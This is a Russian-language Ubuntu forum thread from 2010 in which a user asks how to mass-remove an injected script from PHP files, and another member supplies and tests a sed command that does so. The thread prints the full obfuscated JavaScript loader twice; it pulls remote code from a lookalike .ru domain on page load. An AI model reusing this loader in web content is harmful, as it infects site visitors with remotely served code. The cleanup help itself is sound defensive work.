Форум русскоязычного сообщества Ubuntu


Следите за новостями русскоязычного сообщества Ubuntu в Twitter-ленте @ubuntu_ru_loco

Автор Тема: Массовая замена строки в файлах  (Прочитано 3129 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн eoleg

  • Автор темы
  • Новичок
  • *
  • Сообщений: 2
    • Просмотр профиля
Массовая замена строки в файлах
« : 05 Апреля 2010, 16:28:02 »
Как удалить строку в нескольких файлах?

во все .php прописался скрипт

<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

мне его нужно удалить
но файлов много и руками это очень трудоемко
как с помощью встроенных средств в linux автоматически удалить его?
find
sed
awk
replace
может еще какие команды есть?
сразу скажу что доку сейчас читаю поэтому за совет прочитать заранее говорю спасибо.
find . -name *.php -exec sed -i 's/oldtext/newtext/' {} \;
не получилось
чтото нужно еще прописать

кстати а что делает этот скрипт интересно  :)

Оффлайн wl

  • Старожил
  • *
  • Сообщений: 1393
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #1 : 05 Апреля 2010, 16:41:50 »
А почему с sed не получилось?
Вроде, все корректно.
Может быть, регэксп не тот? Стоит отладить регэксп на примере одного файла.

Могу порекомендовать kodos - это инструмент для визуальной отладки регулярных выражений. Он, правда, для питона, но принципы везде одинаковы.
На свете феньки есть такие, брат Горацио, которых лохи просто не секут. (Шекспир, "Гамлет", вольный перевод)

Оффлайн eoleg

  • Автор темы
  • Новичок
  • *
  • Сообщений: 2
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #2 : 05 Апреля 2010, 16:49:22 »
с sed не получается как мне кажется из за того что этот скрипт нужно представить как единое выражение или слово чтоли
потому что символы внутри скрипта мешают ему обработать правильно строку
я еще не разобрался с форматом sed и потому если знаете подскажите как удалить строку если она начинается например с <script>var A;if(A!='q' &&

Пользователь решил продолжить мысль 05 Апреля 2010, 18:01:01:
Никто не подскажет?
« Последнее редактирование: 05 Апреля 2010, 18:01:01 от eoleg »

Оффлайн wl

  • Старожил
  • *
  • Сообщений: 1393
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #3 : 05 Апреля 2010, 18:32:38 »
Во, получилось!

Во-первых, еще надо добавить ключ  -r
Во-вторых, вот:
$ sed -r 's/<script>var A;if\(A!=.*?<\/script>//' test.phpПроверка:
$ cat test.php
<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

asdf
asd

asdasd
<script>
asdf
asdf
123412342
</script>

$ sed -r 's/<script>var A;if\(A!=.*?<\/script>//' test.php

<!--21bbe805d2c1299b84645aa67bdf7beb-->

asdf
asd

asdasd
<script>
asdf
asdf
123412342
</script>


Я поставил \ перед круглой скобкой в if: if(A!= стало if\(A!=и перед / в </script> - стало <\/script>

Основной источник информации: http://www.gnu.org/software/sed/manual/sed.html
« Последнее редактирование: 05 Апреля 2010, 18:34:22 от wl »
На свете феньки есть такие, брат Горацио, которых лохи просто не секут. (Шекспир, "Гамлет", вольный перевод)

 

Страница сгенерирована за 0.038 секунд. Запросов: 25.